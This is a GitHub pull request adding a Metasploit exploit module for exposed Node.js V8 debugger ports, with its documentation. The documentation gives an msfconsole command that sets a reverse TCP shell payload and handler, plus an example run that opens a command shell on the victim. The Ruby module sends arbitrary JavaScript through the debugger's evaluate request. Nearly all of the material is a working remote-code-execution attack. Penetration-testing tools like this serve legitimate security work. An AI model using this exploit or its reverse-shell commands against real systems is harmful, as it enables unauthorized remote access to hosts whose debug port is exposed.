Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Nodejs v8 debugger eval exploit #8931

Merged
merged 6 commits into from
Sep 25, 2017
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 64 additions & 0 deletions documentation/modules/exploit/multi/misc/nodejs_v8_debugger.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
## Vulnerable Application

Current and historical versions of node (or any JS env based on the
V8 JS engine) have this functionality and could be exploitable if
configured to expose the JS port on an untrusted interface.

Install a version of node using any of the normal methods:
* Vendor: https://nodejs.org/en/download/package-manager/
* Distro: `sudo apt-get install nodejs`

Alternately, use standard node docker containers as targets:
```
$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858
```
(Others at https://hub.docker.com/_/node/)

Tested on Node 7.x, 6.x, 4.x

## Verification Steps

1. Run a node process exposing the debug port
```
node --debug=0.0.0.0:5858
```

2. Exploit it and catch the callback:

```
msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit
```
(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)

Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity
(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.


## Scenarios

### Example Run (Node 7.x)

Victim:
```
$ node --version
v7.10.0
$ node --debug=0.0.0.0:5858
(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
Debugger listening on 0.0.0.0:5858
>
(To exit, press ^C again or type .exit)
```

Attacker:
```
msf exploit(nodejs_v8_debugger) > exploit

[*] Started reverse TCP handler on 10.0.0.141:4444
[*] 127.0.0.1:5858 - Sending 745 byte payload...
[*] 127.0.0.1:5858 - Got success response
[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700

id
(redacted)
```

90 changes: 90 additions & 0 deletions modules/exploits/multi/misc/nodejs_v8_debugger.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"

def initialize(info={})
super(update_info(info,
'Name' => "NodeJS Debugger Command Injection",
'Description' => %q{
This module uses the "evaluate" request type of the NodeJS V8
debugger protocol (version 1) to evaluate arbitrary JS and
call out to other system commands. The port (default 5858) is
not exposed non-locally in default configurations, but may be
exposed either intentionally or via misconfiguration.
},
'License' => MSF_LICENSE,
'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
'References' =>
[
[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
],
'Targets' =>
[
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
],
'Privileged' => false,
'DisclosureDate' => "Aug 15 2016",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Privileged is the access you're granted, not the access that is required.

'DefaultTarget' => 0)
)

register_options(
[
Opt::RPORT(5858)
])
end

def make_eval_message
msg_body = { seq: 1,
type: 'request',
command: 'evaluate',
arguments: { expression: payload.encoded,
global: true,
maxStringLength:-1
}
}.to_json
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
msg_header + msg_body
end

def check
connect
res = sock.get_once
disconnect

if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
vprint_status("Got debugger handshake:\n#{res}")
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Unknown
end

def exploit
connect
# must consume incoming handshake before sending payload
buf = sock.get_once
msg = make_eval_message
print_status("Sending #{msg.length} byte payload...")
vprint_status("#{msg}")
sock.put(msg)
buf = sock.get_once

if buf.include? '"command":"evaluate","success":true'
print_status("Got success response")
elsif buf.include? '"command":"evaluate","success":false'
print_error("Got failure response: #{buf}")
else
print_error("Got unexpected response: #{buf}")
end
end

end